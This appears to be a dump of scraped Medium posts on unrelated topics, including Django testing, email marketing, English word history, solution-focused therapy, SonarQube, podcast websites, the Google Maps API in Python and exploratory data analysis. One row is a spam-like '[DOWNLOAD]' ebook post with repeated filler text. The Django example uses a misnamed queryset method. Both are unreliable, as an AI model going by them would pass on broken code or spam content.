print(response.data)
check_nplusone_problem(logger)
assert response.status_code == 200
테스트코드 수행 결과 -> 실패
-> 실패하는 이유는 ArticleSerializer() 에서 자식 모델 Comment를 참조하는데 prefetch를 하고 있지 않다.
실패 케이스 수정하기
기존 ArticleView의 쿼리셋에 comment 모델을 prefetch에 추가 해준다.
class ArticleView(viewsets.ModelViewSet):
queryset = Article.objects.prefetch('comments').all()
테스트코드 수행 결과 성공~
=================================================================================== 1 passed in 7.85s ===================================================================================
평가
개발단에서 prefetch 안해도 누적된 데이터가 없기에 당장 성능이슈는 대두가 되지 않지만 운영에서 데이터가 누적 될 수록 prefetch가 필요한 부분에서 병목현상이 발생한다. 이를 미리 테스트코드단에서 수정하고 해결 할 수 있다. | https://medium.com/@kim6515516/django-%ED%85%8C%EC%8A%A4%ED%8A%B8%EC%BD%94%EB%93%9C-%EB%8B%A8%EC%97%90%EC%84%9C-n-1-%EB%AC%B8%EC%A0%9C-%EC%B0%BE%EC%95%84%EB%82%B4%EA%B8%B0-643562fae89 | [] | 2020-12-04 01:34:25.991000+00:00 | ['Django', 'Nplusone', 'Orm'] |
[DOWNLOAD]-Self-Nurture: Learning to Care for Yourself As Effectively As You Care for Everyone Else | [DOWNLOAD]-Self-Nurture: Learning to Care for Yourself As Effectively As You Care for Everyone Else Susanhawkins Dec 13, 2021·4 min read
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Everyone knows someone who needs this bookThink about how you feel at the end of a day when you find your first free moment so late in the evening that you’re too exhausted to enjoy it. If you’ve had too many days like this, find the help you need to transform your life in Self-Nurture. Harvard psychologist Alice D. Domar, Ph.D., shows you how to restructure your life in a way that lets you breathe. Here are inspiring stories, easy-to-follow exercises, and meditations that will shift your focus from self-sacrifice to self-care. Written with wisdom and humor, Self-Nurture will empower you to develop the same fierce and tender concern for yourself that you’ve always given to those you love — a gift for anyone who needs to learn the art of self-care.To listen to an interview with Alice Domar, check out www.TalktoTara.com
Books are a valuable source of knowledge that affects society in different ways. Whether you are reading a masterpiece by an award-winning author or narrating a bedtime story to children, the significance of books cannot be overemphasized.
Human beings need to learn and stay informed, which are crucial needs that books can fulfill. They are also essential for entertainment and enable individuals to develop wholesome mindsets throughout their lives.
“Millions of books have been published over the years and they continue to be an integral aspect of people’s lives around the globe.
From making it easier to understand different aspects of life to serve as worthwhile companions that take you through challenging times, books have proven to be precious commodities.
Books are essential in a variety of ways that go beyond enriching your mind or entertaining you. They have stood the test of time as reliable references for centuries. They stimulate your senses and promote good mental health. Other benefits include enhancing your vocabulary, allowing you to travel through words, and inspiring positivity through motivational literature.
While the internet and television are useful in their own ways, nothing can compare to a great book. Books ignite your imagination, give you new ideas, challenge your perspectives, provide solutions, and share wisdom. At every stage of your existence, you can find a relevant book that will add value to your personal and professional life.
Books are filled with knowledge and they teach you valuable lessons about life. They give you insight into how to navigate aspects of fear, love, challenges, and virtually every part of life. Books have been in existence since time immemorial and they hold secrets of the past while providing a glimpse of the cultures of previous civilizations.
A book has the power to change or reinforce how you feel about your surroundings. It is a therapeutic resource that can equip you with the tools you need to stay on track and maintain a good attitude. Whether you want to learn a new language or delve into the intrigues of nature, there is a book for every situation.
There are numerous reasons why books are important. Reading books is a popular hobby as people around the world rely on them for relief and entertainment. Books contain records of history and are used to spread vital information. Reading books helps to improve your communication skills and learn new things. It can be useful for easing anxiety among students and professionals.
Other reasons that highlight how important books are in their positive impact on intelligence, writing abilities, and analytical skills. Books give people a great way to escape into another dimension. They are packed with endless possibilities for adventure and experiences that would be difficult to access in reality.
It is essential for people to strive to include books in their daily lives aside from using them for academic or professional purposes. They aid emotional and mental growth, boost confidence, and sharpen your memory. It is natural for people to be curious and want to learn more, which is why books are still significant today.
Books are a valuable source of knowledge that affects society in different ways. Whether you are reading a masterpiece by an award-winning author or narrating a bedtime story to children, the significance of books cannot be overemphasized.
Human beings need to learn and stay informed, which are crucial needs that books can fulfill. They are also essential for entertainment and enable individuals to develop wholesome mindsets throughout their lives.
“ | https://medium.com/@susanhawkins_92024/download-http-co-readingbooks-host-book-0140298460-f010b623ef46 | [] | 2021-12-13 01:28:51.040000+00:00 | ['Download', 'Reading', 'Book', 'Read', 'eBook'] |
How to Design a Spam-Proof Email Marketing Campaign | Some people say that getting into somebody’s email box is like coming to a dinner. You must get an invitation, be nice, polite and funny. But is it possible for marketers to meet all these expectations in every email marketing campaign? According to the Email Marketing Report issued by DMR, 25% of marketers admit to having problems with designing this kind of content.
Customers have become used to advertisements presented everywhere they look and their mailboxes are as crowded with brand announcements as Times Square; that is why they usually treat marketing emails like spam. How can you attract the attention of the customer in this tangle of messages and encourage them to buy without being accused of spamming? Let’s take a look at a few tips that help make designing a mailing campaign a snap.
First of all — get permission
Before entering someone’s house, good manners (and the law) say that you should be invited inside first. Before you start sending emails, you need to have a sizable email list. The easiest way to get customer email addresses is to offer them something in return, like an ebook, report or discount. Put your incentive in a prominent place on the website.
Set your goals and segment subscribers accordingly
Communicating via email can help you accomplish different goals, the most popular being:
welcoming new subscribers
boosting engagement with your offer or business content
nurturing existing subscribers by giving them something valuable, like educational materials or discounts
reengaging subscribers who haven’t been active for some time
You can segment your clients according to other factors like place of residence, age, interests etc. — everything depends on what kind of campaign you’re going to run. This way customers will get content they care about and be more likely to open your message, get through it and check any links attached.
Get familiar with email types
There are three key email types that you will find useful:
1. Promotional emails, sent when you want to communicate an offer or sale; these are self-promotional
2. Relational emails, giving subscribers promised materials, like monthly newsletters, free gifts, special birthday offers or any other relevant information
3. Transactional emails, such as signup confirmations, welcome messages, order/purchase confirmation etc.
When you decide which types of emails you’re going to use, consider their number and frequency. You don’t want to flood your subscribers with unwanted messages, but don’t let them forget you, too.
Encourage customers to sign up
Try to prepare some attractive opt-in forms and display them in different places on your website. For example, you can use:
website welcome gates , which pop up when somebody visits your website; they mainly consist of simple headlines and calls to action
, which pop up when somebody visits your website; they mainly consist of simple headlines and calls to action headers , which are a perfect place to put some email sign-up since they are clearly visible and can be seen without scrolling down the site
, which are a perfect place to put some email sign-up since they are clearly visible and can be seen without scrolling down the site lightbox popups , temporarily blanking the page, so the client can focus on the presented content; a good idea is also making such a pop-up appear after a few seconds of looking around the page content
, temporarily blanking the page, so the client can focus on the presented content; a good idea is also making such a pop-up appear after a few seconds of looking around the page content exit-intent popups, popping up when the client wants to leave the website
There’s no email marketing campaign without images!
Dress it up it with a GIF, video or graphic. Remember that graphics must be related to the content of the email. If you use external sources, make sure you do not break copyright laws.
What do you think?
Master your word
When creating copy consider parts such as:
a personal story that will influence emotional connection with the client
links to valuable materials and articles that further develop topics covered
“person to person” approach, which means “I” writing to “you”. The more personal touches you include in your email, the greater the chance that the subscriber will engage emotionally in the presented content. Explain your offer benefits in the role of a friend recommending a given product;
focus on the first paragraph — clients are busy, and if they do not find anything attracting their attention in the first part of the message, it is unlikely that they will read it to the end; what is more, this first-important-thing rule applies also to other things that the recipient of the e-mail sees first, including “from” address, subject line, preheader, greeting, etc.
keep it short
use bullets, boxes etc. and avoid making your mail looking like a serious scientific article
Test it!
When you finally have content and a subscribers’ list, test them. Decide when to send a proper campaign and edit it if needed. If you are not sure if everything is ok, check the email in accordance with the checklist below:
is your message clear to the reader?
are the graphic elements of good quality?
do you have a catchy opening line?
is your email copy clear and concise?
have you provided a visible call to action?
do all included links go to the right destinations?
does the email fit the designated goal?
did you check the email for stylistic problems and typos?
You can check some of these points yourself, like image quality, text composition, links, etc., but copy transparency is more difficult, especially if it’s your own work. It is possible to carry out the first test within your team or on a smaller segment of subscribers.
And finally — send it
When everything looks good, share your campaign with the world!
The power of data feedback
Sending emails is not the end of actions related to the campaign. After a few days, check the results of the mailing and draw as many conclusions as possible, which will allow you to improve your future content. Below you will find a few questions that will help you improve your campaign strategy next time:
How many of your clients use mobile devices? Based on this information, you will be able to better select design and graphic elements.
Which client segment was least engaged with your emails? Answering this question will give you an opportunity to retarget them and try to engage them with an email once again.
Wrapping up
The most important stages of creating a campaign are planning and checking feedback. It is also comforting that after the first mailing, thanks to the collected data and their more thorough analysis, you can avoid mistakes in future campaigns. | https://medium.com/synerise/how-to-design-a-spam-proof-email-marketing-campaign-6e2c9c86069 | ['Marta Michałowska'] | 2020-05-22 08:23:24.730000+00:00 | ['Email Marketing Tips', 'Email Productivity', 'Email Marketing'] |
How a battle fought almost 1000 years ago can make you a better writer | Photo by Patrick Tomasso on Unsplash
‘A cordial reception’
What images appear to you? Perhaps this phrase makes you think of murmured conversation, polite nods, canapés and pursed lips.
How about:
‘A hearty welcome’
For me, I hear laughter and the warm crackle of a fire.
Although the object of these sentences- ‘reception’ and ‘welcome’, are synonyms, they conjure different images and feelings.
I took these examples from a book by Simeon Potter, who talks about an idea that the feelings these two words stir in us are the result of an event that that took place in the medieval period. For Potter, it gave English a curious depth and variety.
The day that would eventually change the English language was October the 14th, 1066. Just over two weeks previously, an army under William, Duke of Normandy, landed on the English coast. This Norman invasion was timed with an attack launched by Viking forces in the north of England: the English King Harold had to defeat that army before marching his soldiers down to Hastings in the south.
The language that Harold would have spoken to his soldiers was cragged and rough. It came from the Germanic family of languages, and its licks and burr could be heard even in the Danish north of England.
On October the 14th, ‘The Battle of Hastings’ as it became known, saw one social order fall and another rise. Depending on accounts, the Saxon rein ended either when an arrow lodged itself in Harold’s eye, or when he was cut down by an errant Norman knight.
As they picked over the dead, the victors talked to each other in Norman French: a language heavy with Latin. These soldiers would become the aristocracy of England, making their French the language of the powerful for centuries to come.
The Norman aristocracy built a string of fortresses and castles across the English countryside as physical reminder of their power. In much the same way, their words layered themselves over the thick, mossy roots of Anglo-Saxon. Norman words were used to describe the powerful: ‘priest, ‘count’, ‘dame’, ‘duke’, and became used to describe the machinery of power: ‘money’, federal’, sovereignty’, ‘state’. Just as the invaders divided society, they also divided the language.
Even today, words that we use are marked by the Norman victory. When you choose to use ‘reception’, you tug on a different string of meanings than if you were to choose ‘welcome’.
In some ways, these Latin words still carry an aloof coldness. They tend to be abstract, lend themselves to corporate jargon and are still the words that we use to talk about the powerful.
You can often tell which words are Anglo-Saxon. They are the words peasants, workers, children, families, soldiers, and common men and women have used for millennia. Words like ‘mirth’, ‘mother’, ‘raw’ and ‘stone’ have tumbled out of taverns, been flung at cheating husbands, and have been squealed by playing children. These words are sodden with meaning: somehow they feel warmer and more whole than Latin ones.
The story of the Norman Invasion can tell us why some words impress us so much: why they form the skeleton of words used by politicians, scientists, and academics.
Kind of like how shadows make the colours in a painting brighter, however, the smoothness of Latin can also make the Germanic Saxon seem richer and deeper. The language we use to speak and write with has a swathe of textures: their histories can tell us where they should be daubed, pasted or spread. | https://medium.com/swlh/deathly-and-lethal-wild-and-savage-611fae5edf98 | ['Tommy Boon'] | 2019-10-31 23:18:30.115000+00:00 | ['Poetry', 'Writing', 'Language', 'French', 'History'] |
The Miracle Question in Recovery. Using the Miracle Question to hone… | Using the Miracle Question to hone problems into solutions.
One of my favorite therapeutic tools is the Miracle Question
It comes from Solution-Focused Brief Therapy (SFBT) which was developed by the therapist couple Steve de Shazer and Insoo Kim Berg in the 1980s. The goal of SFBT is to examine the client’s problem in the here-and-now. It orients a client’s awareness towards solutions, rather than the problem saturated world which the client brings with them into the therapy room.
We are constantly creating the future in our minds and often creating a picture-perfect one; sometimes without even being conscious of the thoughts. SFBT allows a person to bring those thoughts into present awareness. Then, the therapy focuses on creating solutions and goals to achieve that future.
The Miracle Question is used to help both the care provider and the client understand what that future can look like by looking at the problem from the vantage of it miraculously vanishing. The client's response invites a discussion and subsequent lines of questioning about what that new ideal state of being looks like. The question itself asks:
“Suppose tonight, while you slept, a miracle occurred. When you wake up tomorrow, what would be some of the things you would notice that would tell you life had suddenly gotten better?”
The Miracle Question in Practice
You may be saying to yourself, well that’s pretty open to all kinds of responses. Some of which may not be actually attainable. The thing is, the response is the tip of the solution iceberg. We need to continue to look below the surface for the real solutions to emerge. For instance, if someone’s problem is they have gone through a divorce and their ideal version is them being back with their partner, the care provider can respond “How would that make a difference?” The client may respond, “I would have someone in my life again and I would be happy.” Then the therapist would ask “Are there people in your life already who make you happy?” This process begins to show the client that while their problem exists, there are other areas in which the problem does not exist.
That is the beauty of the question: the ability to continue drilling down. Once people see that that the problem is not pervasive in every aspect of their life, solutions can be developed and goals can be set to help develop skills that can help with creating their ideal future state. This is why this question is perfect for helping people working towards addiction recovery.
Using The Miracle Question in Recovery Support
Asking this question to clients working towards recovery can result in a lot of valuable discussion about what their overarching life goals may look like. Addiction disease can make the future feel fuzzy; the compass is not pointing in any clear direction. The Miracle Question can help the client and the care provider begin to find a north star in the recovery process.
“Addiction tells people to keep driving forward even when they want to get off at the next exit. It keeps diverting them from getting off the addiction highway.”
In the case of a person working towards recovery, a response to the Miracle Question might be “I would no longer wake up and want to drink/use drugs.” The care provider would then pose, “How would that make a difference in your life?” The client may respond, “I would no longer feel the need to drink when I am feeling nervous or anxious.” The care provider would then examine this with the client and ask, “Are there times in your life now when you don’t feel anxious or the need to drink/use drugs?” Based on this response and subsequent ones, the client and care provider begin to develop goals for the problem of drinking/using drugs in relation to feelings of anxiety and nervousness.
The Miracle Question and resulting drill down can hone the problem into a well-defined solution. Goals can then be created and action items can be developed as homework between sessions to become more aware of moments where the problem is not as noticeable. The client can also practice the skills they are learning in the process in real-world settings.
Making Miracles Happen
This is a quick and really rewarding therapeutic technique. It does require some practice to understand the drilling down techniques. You want to be able to use the questions to get a well-defined solution, which is not easy, but it is so rewarding when you finally get it down. This is such a great way to quickly build rapport and increase a client’s engagement in any type of therapeutic, counseling, or coaching session. Client’s feel like they are a part of the process and have a say in the direction their care goes. It removes that element of feeling like the care provider is the one with all the answers, when in fact the client really is the expert in their own life.
People have the strengths and abilities to create solutions to their problems. They just need a guide to help them make sense of the directions that the backseat driver of addiction disease is messing up. Addiction tells people to keep driving forward even when they want to get off at the next exit. It keeps diverting them from getting off the addiction highway.
This is why I love the Miracle Question. It helps make the addiction disease easier to ignore and the directions easier to follow. It allows a client to be in the driver’s seat and the care provider to act not as a new backseat driver, but as the traffic signs on the road. The care provider guides, as the client steers the car off the nearest exit and onto the road of recovery. | https://medium.com/@matt-19677/the-miracle-question-in-recovery-b767e0f18eda | ['Matt Demasi'] | 2020-12-16 19:54:53.481000+00:00 | ['Addiction', 'Therapy', 'Mental Health', 'Addiction Recovery', 'Psychology'] |
.NET Core Code Quality with Coverlet and SonarQube | By Sandeep Anantha
Organizations that embrace continuous integration and continuous delivery (CI/CD) reap enormous benefits when rolling out their products — if you’re new to the subject, you can read more about CI/CD here. The reason that CI/CD works is that code is built, tests are run and code is deployed as soon as the code is checked in. As CI/CD catches problems as soon as the source code is checked in, this puts the onus on developers to write code that is efficient and bug-free, thus making them accountable for their code. The idea that code is deployed continuously even before it is QA’ed, seems like a significant risk to some. But if we fortify the code with tests to ensure every piece of code is covered by these tests, then we can be reasonably confident that the code the developer checks in does not break the larger code. Of course for this strategy to work, test driven development (TDD) has to be practiced and automated tests have to be written religiously for every piece of code.
However, the effectiveness of CI/CD will largely depend on how well tests are written, how extensive they are, and how subjective they are. As the ultimate value of CI/CD will depend on code quality, and having continuously good code quality. If you have tests that don’t cover critical pieces of code, then you may end up with many false positives leading to compromised code quality. To avoid this, code reviews should be conducted, but be aware that reviews are also subjective and bugs can slip through the cracks. When conducting a code review, a big part of what you’re doing is identifying smells.
Code smells are common knowledge these days and there are many resources available to identify code smells. Though, it can be daunting to manually find code smells in every code review. Imagine a tool that can help you define custom rules, in addition to the common code smell patterns, externalize these rules and have the flexibility to apply them to the code at the project level, department level, or at the enterprise level…Meet: SonarQube.
SonarQube is a service that can scan code in 25+ languages and identify smells, vulnerabilities, and bugs. SonarQube is a big step toward automating development operations (DevOps) as it enables continuous code inspection that will improve code quality and ensures clean code.
Since SonarQube is open source, it can easily be integrated right into your CI/CD process, which will enable continuous inspection of code for bugs, vulnerabilities, and smells, and can be extended. SonarQube can also be extended by using plugins. For example, you can use the CodeAnalyzer plugin to measure cyclomatic complexity.
With so many CI/CD tools available, like Jenkins, Cruise Control, etc., this blog will focus on externalizing SonarQube integration into a shell script. Since shell script is generic and cross-platform, it can be called from any CI/CD tool of your choice.
Given the core capabilities of SonarQube, it can be used to smooth out the rollout process to production. Imagine the hurdles that a development team faces before going to production at the eleventh hour. They have to go through a long checklist of processes; one among them is the mandatory approval by the enterprise security team, which is often responsible to go through the code, analyze it, and block deployment if they see any issues or vulnerabilities. Development teams have to go through each of the concerns, address them, refactor the code, and submit it for deployment again. This can happen multiple times depending on the quality of the code and can lead to crucial time lost, increasing time to market, and can lead to burnout and stress on the team. Imagine if we could detect and fix all these potential bugs and vulnerabilities early on, right when the code is checked in. This would take little effort to fix them early while still in dev., leaving the teams happy and assured. SonarQube will help you in this endeavor.
SonarQube feeds on the coverage reports and analyzes .NET assemblies and generates reports of its own that include vulnerabilities, bugs, and code smells. It also reports the asymptotic complexity of the code. Apart from these obvious benefits, SonarQube can automate gating of deployments on the server. Should the coverage fail beyond a threshold, or if a bug has been detected, SonarQube can report them to the team and block the deployment.
In the next part of this blog series, we will go over how to scan the C# code on .NET Core platform via SonarQube and in the third, how to enable quality gates. Stay tuned! | https://medium.com/tribalscale/net-core-code-quality-with-coverlet-and-sonarqube-1372e5bb1b71 | ['Tribalscale Inc.'] | 2019-04-10 15:04:01.247000+00:00 | ['Software Development', 'Continuous Integration', 'Sonarqube', 'Development', 'Net Core'] |
Eden’s Run 5K Results | Eden’s Run 5K Results
In one of the hardest years in history, you made the 11th annual Eden’s Run 5K our most successful run yet.
Between the pandemic and social upheaval, 2020 has been a particularly challenging year for Operation Broken Silence and the Sudanese-led programs we support. Our movement has been hit disproportionately hard by job losses, paycheck deductions, and cancelled and postponed events.
Our program partners in Sudan are doing more work with fewer resources than ever before. We needed this year’s 5K to be a home run for them. And you met the moment.
145 Runners Raise $17,800
More runners came together to raise more funds than ever before.
You shattered every single registration and fundraising record built up over the last decade of runs. | https://medium.com/@obsilence/edens-run-5k-results-6fae98297247 | ['Operation Broken Silence'] | 2020-12-02 16:01:37.617000+00:00 | ['Sudan', 'Refugees', 'Nonprofit', 'Covid 19', 'Running'] |
Blink: The Power of Thinking Without Thinking — Book Summary | When can you Trust your Intuition?
Trust your intuition (gut feeling) when you don’t have much time to think through all the implications of what’s happening around you. Further, you should also trust your intuition when you’ve had a great deal of experience in making similar judgments in the past (qualifying you to be a real subject matter expert) as it helps you see subtle things that a novice might overlook. Your intuitions are right most of the time, and the reason why they’re not always right is because intuition is primed by your own thoughts and emotions, which may only be partially correct or might even completely wrong at times. With deliberate practice, you can learn to assess your intuitive experiences and identify when they are more likely to be right, so you’d be able to bank on your gut feelings and omit the need for analysis.
You’ll know that your intuition is trying to help you make the right snap decision when you feel it; only if you allow yourself to assess feedback without any biases (seeing information as-is). You’ll feel it physically (goosebumps, sweating, dilation of your peoples, etc…) and cognitively (red flags start popping-up in your head) by sending a shiver down your spine, racing of your heart, or rapid successions of short breath. Sometimes it’s even more subtle, so listen to your body because it’s always on your side; no matter what!
Intuition is your immediate understanding of something, so there’s no need to overthink it or get another opinion; you just know! Trusting your intuition is the ultimate act of trusting yourself because listening to your intuition helps you avoid unhealthy situations or getting into something with dire consequences.
Intuition is usually less of a verbal thinking process and more of a deep sense of vibe that you feel in one of your organs and makes its way to your brain to make a quick decisions and take action. Overthinking is less deep and occurs more in your head, and is often characterized as an nonstop chatter in your brain between you and yourself.
Anxious thoughts relate to the past and future, and carry a sense of dread and nervousness. Your intuition, ironically, is often precisely what’s giving you anxiety in the form of a trigger to take action. There are times when your intuition tells you what you need to do, and it’s completely against what you think you should be doing. Choosing to ignore intuitive feelings is likely to lead to your detriment because it’s not great at helping you understand why something doesn’t feel right for you, it just knows that it is, so don’t try to reason with your intuition when the stakes are high and you’re under pressure.
Here are 4 simple steps that are sure to increase your intuitive thinking:
Listen to your gut feeling. Observe your energy levels by paying close attention to whenever you’re around someone and how they make you feel (tired, drained, or energetic). Capture your flashes of ideas (don’t completely ignore crazy thoughts). Take a deep breath before reacting (allow your conscious mind to react).
Your intuition helps you identify your purpose in life. Since your intuition is attuned to your subconscious, it can point you in the right direction and help you identify dreams that are aligned with your core values and your true sense of purpose. People who rely on their intuition are more open to new ideas!
If you’re not learning, you’re not living, and if you’re not living; you’re missing-out on realizing your greatest potential (what makes you special & unique), and that would be a tragic waste of life! | https://medium.com/@hashim.alzain/blink-the-power-of-thinking-without-thinking-book-summary-5418fb6bb1de | ['Dr. Hashim Alzain'] | 2021-06-03 17:54:03.945000+00:00 | ['Analytical Thinking', 'Intuition', 'Personal Development', 'Blink', 'Emotional Intelligence'] |
How to create your Where to Listen page on your podcast website | Point your new listeners to continue listening to your show on the go.
This is part of a series of articles to help you make a great podcast website. Need a simple, beautiful, and affordable website designed just for your podcast? Start your Podsite free trial today.
One part of your website is absolutely vital for curious new listeners, and it’s the place where you either keep ’em or lose ’em: how does someone actually start listening to your show? All of what you’ve shown them so far — a trailer, featured episodes, your show’s description — has set them up to get excited to press play, and now, it’s time to seal the deal and get them listening (and following) your show on their phone.
A few things to remember:
New listeners don’t know how to listen at all yet, and you’re here to help.
Too many links make the experience overwhelming to a new listener, and without instructions on what to do next, they’ll stop pursuing it.
How to help them:
Narrow your listening links. Keep it to a key few that cover iPhone and Android users both (remember, your show’s RadioPublic link does both, and presents your podcast front and center when they open the app for the first time).
Keep it to a key few that cover iPhone and Android users both (remember, your show’s RadioPublic link does both, and presents your podcast front and center when they open the app for the first time). Clearly name the page. “Listen,” “How to Listen,” and “Where to Listen” are all great calls to action (“Subscribe” is confusing to new listeners).
“Listen,” “How to Listen,” and “Where to Listen” are all great calls to action (“Subscribe” is confusing to new listeners). Create a how to listen guide. Step-by-step instructions on how to go from the website to their phone means a new listener will be ever-grateful for your introduction to listening to all podcasts, starting with yours.
Your existing fans already know how to listen to podcasts.
They will know how to find a show on their own, usually by opening their preferred listening app and searching for it.
How to help them:
Submit your podcast to every podcast directory you can (here’s how to do so on RadioPublic).
to every podcast directory you can (here’s how to do so on RadioPublic). Make getting to your Where to Listen page super easy. Whenever they talk up your show saying, “You HAVE to listen!” a web search will get a curious new listener that much closer to getting started.
If a specific podcast app helps you accomplish your goals as a podcaster (like earn you money whenever someone listens in the app or makes it easy for a listener to send you money, or perhaps be heard by listeners around the world), that’s a reason to place it as the top choice on your how to listen page.
Don’t want to fuss with collecting all the podcast app buttons? Add your listening links on your Podsite dashboard and we’ll do the rest. | https://medium.com/radio-public/how-to-create-your-where-to-listen-page-on-your-podcast-website-27627adfe771 | ["Ma'Ayan Plaut"] | 2019-03-29 16:01:51.682000+00:00 | ['Podcasting', 'Podcast Website', 'Podcasting Tips', 'Podcast', 'Listening'] |
Boost Up Your Business Conversations With Best Dialers For Salesforce | Boost Up Your Business Conversations With Best Dialers For Salesforce WahInnovations Jun 8·2 min read
Salesforce dialers are the best and most beneficial tools for sales and management teams. It’ll spend less time on phone dialing and boost productivity to obtain more customers and potential for your sales and marketing staff.
A dialer for salesforce is a technology or a business tool for making sales calls. The dialers are quite effective for your B2B sales performance and productivity but let us know a few facts about sales dialers before selecting a dialer for your business.
There are three types of Sales Dialers:
Click-to-Call Dialer
List-Based Dialer
Agent Assisted Dialer
Let’s know more about these dialers;
Click-to-Call
Click-to-Call dialing works as you choose your potential customer, click on their number, and call from your laptop, using your Salesforce system or other CRM systems. When you click on the telephone number, you need not worry that the numbers are inaccurate when you dial.
List-Based Dialer
You upload a B2B list of sales prospects into your CRM system through a list-based dialer, such as our Dialer, commonly known as the “Flow Dialer.” When you start calling, you click on the first call number and then proceed through your list one by one, and you don’t have to check the phone on your list. Consider this as the next step from Click-to-Call.
Assisted agent dialer
Either robot or human agents use agent-assisted dialing to navigate the gatekeepers, voices, busy signals, and the incorrect numbers from the sales representative. That allows your sales representatives to focus on sales talks. Once the sales representative is indicating that they are ready for the next chat, the agent dialer begins calling them till they reach a live person. During your conversation, you will be advised by your sales representative that you start ringing back up till the call is over.
Final Words
The appropriate technology for sales involvement can save your B2B sales force time, boost productivity and reduce stress. Mango Dialers is one of the best dialer for Salesforce, created by Wahinnovations. Mango Dialer offers quick to set up, easy browsing UIs, preview dialers and predictive dialer functions, and auto dialing software. | https://medium.com/@wahinnovations08/boost-up-your-business-conversations-with-best-dialers-for-salesforce-a4fc671bcd2e | [] | 2021-06-08 08:04:34.743000+00:00 | ['Dailer', 'Salesforce', 'CRM', 'Best Dialer', 'Software'] |
Food for Agile Thought #270 | Hello from Berlin!
Welcome to the 270th edition of the Food for Agile Thought newsletter, shared with 28,431 peers.
tion, and creating value, and we analyze prerequisites of successful agile transformations at an organizational level.
We then learn about a developer’s perspective on what it takes to build a successful product development team. Also, we explore a handy tool for ordering Product Backlogs beyond the usual suspects like Cost of Delay, Kano model, or RICE, and we ask: “What else about product [management] is as ‘simple as it sounds’ but needs to be learned? Why do we fall into these traps?”
📺 Lastly, the recording of the 28th Hands-on Agile meetup on the Scrum Guide 2020’s eight remarkable changes is available.
Learn more: Food for Agile Thought #270: Productive Uncertainty, Conway’s Law and Org Design for Success, Agile’s Intangibles, WSJF Prioritization.
Best,
Stefan
PS: Did you miss last week’s Food for Agile Thought’s issue #269? | https://medium.com/10-min-briefing-on-startup-tech-news/food-for-agile-thought-270-a2365a7e28be | ['Stefan Wolpers'] | 2020-11-27 16:15:47.651000+00:00 | ['Agile', 'Innovation', 'Product Management', 'Change Management', 'Scrum'] |
Getting started with Google Maps in Python | Lets get started with google maps in python! We are going to cover making a basic map, adding different layers to the maps, and then creating driving directions!
Before this article, I did a quick tutorial with basemap in python. In this tutorial, I will cover using the google maps api in jupyter notebook. The first step here is to get an api key from google at this link. Once this is done, you may need to run the following command in terminal and restart jupyter:
jupyter nbextension enable --py gmaps
Once this is complete, you are ready to jump right into making beautiful maps!
Initially, we are going to want to read in our api key. To do this I completed the following steps:
Save the API key in a text file Write code to read in the key and save it as a variable
with open('apikey.txt') as f:
api_key = f.readline()
f.close
Once this is complete you are ready to use the google maps api. For reference, all the material in this tutorial comes from the documentation which can be found here.
You may also need to do a pip install gmaps prior to working in jupyter.
Once this is done, you can initialize the session with the command:
import gmaps
gmaps.configure(api_key='Your api key here')
After this, you can create a generic map by just creating a center location and zoom level:
new_york_coordinates = (40.75, -74.00)
gmaps.figure(center=new_york_coordinates, zoom_level=12)
This returns the following figure:
Easy first map using google maps api
Now, lets say that you would like to add earthquake data to your map. There is already a dataset that google provides, and you can use this very easily to add more information to your plot using the heatmap function.
import gmaps
import gmaps.datasets # Use google maps api
gmaps.configure(api_key=api_key) # Fill in with your API key # Get the dataset
earthquake_df = gmaps.datasets.load_dataset_as_df('earthquakes') #Get the locations from the data set
locations = earthquake_df[['latitude', 'longitude']] #Get the magnitude from the data
weights = earthquake_df['magnitude'] #Set up your map
fig = gmaps.figure()
fig.add_layer(gmaps.heatmap_layer(locations, weights=weights))
fig
Heatmap of Earthquake activity
This can also be used in the same way I used in my previous tutorial for fires around CA. Here is how the map looks when you add a layer of current fire activity:
Heatmap of current fire activity
Finally, you can get out driving directions from the api. To do this there are a couple of steps.
To plot route on map:
Define location 1 in coordinates Define location 2 in coordinates Create layer using gmaps.directions.Directions Add layer to the map
Code:
import gmaps
#configure api
gmaps.configure(api_key=api_key) #Define location 1 and 2
Durango = (37.2753,-107.880067)
SF = (37.7749,-122.419416) #Create the map
fig = gmaps.figure() #create the layer
layer = gmaps.directions.Directions(Durango, SF,mode='car') #Add the layer
fig.add_layer(layer)
fig
Driving Directions
And to get more information like the distance and travel time, you can use the gmaps client. The code for this is below:
Shows the duration and distance for the directions
There is a ton more that you can do with the api, and the documentation is awesome. If there is something I did not cover, it is a great resource in general!
https://media.readthedocs.org/pdf/jupyter-gmaps/latest/jupyter-gmaps.pdf | https://medium.com/future-vision/google-maps-in-python-part-2-393f96196eaf | ['Elliott Saslow'] | 2019-08-02 20:47:50.181000+00:00 | ['Programming', 'Data Science', 'Python', 'Mapping', 'Web Development'] |
Getting Started With Exploratory Data Analysis | I remember the first time I heard that term. The way it was said, made me understand that I was supposed to have known it. Of course I played along… Yea, sure EDA… no big deal! But it was sure a big deal. I got to understand what it meant though but I was still pretty much in the dark. I had questions; how far to go? How to go? What am I doing? When should I stop? How should I stop?
Explore- means to investigate systematically, Analysis-means decomposition into components in order to study. These are pretty much closely related. So it is basically that you’re trying to break down and investigate on Data.
But then, lets go formal;
According to Wikipedia, exploratory data analysis is an approach to analyzing data sets to summarize their main characteristics, often with visual methods. The processes of Exploratory Data Analysis involves performing an observation check on the datasets to observe anomalies and finding out patterns with the datasets.
So back to not being formal again;
How far to go?…Answer: All the way if you’ve got the time and luxury of fetching out as much discovery as you can for your project or client
How to go?… Answer: Orderly and systematically.
What am I doing?… Answer: Looking for clues and patterns in the datasets focused towards solving the problem for which you selected or extracted the data for.
When should I stop?… Answer: When you have found patterns that can help you solve your problems or when you can’t find clues or useful patterns anymore.
How to end?… Answer: With summaries of your findings clearly stated and of course in an orderly manner.
Some EDAs come before other processes such as prediction. So you would want to get all the information you can to help you with your next task, process or decision.
Exploratory Data Analysis Processes (EDA) varies according to the datasets being used and the person performing the process although it is expected that certain general observations be made about the same datasets.
When performing EDAs, you basically look for any clue (this could be in the structure of the dataset, the information surrounding patterns formed, reasons if there are any or basically anything), pick it up and run with it. Then do a repeat with as much clues as you can get. Remember the “orderly and systematic process”?... That’s why you try to see where that clue leads you too before you pick up another clue to investigate more on.
To better explain this processes, I will use the US unemployment Rate datasets from the US Department of Labor’s Bureau of Statistics to get you STARTED. Then I would let you continue. This datasets is from the year 1990 to 2016.
In order to perform EDA, it is important to have a background knowledge on what the datasets is/will be all about. For example someone who doesn’t understand what Unemployment rate is would simply operate blindly with the datasets.
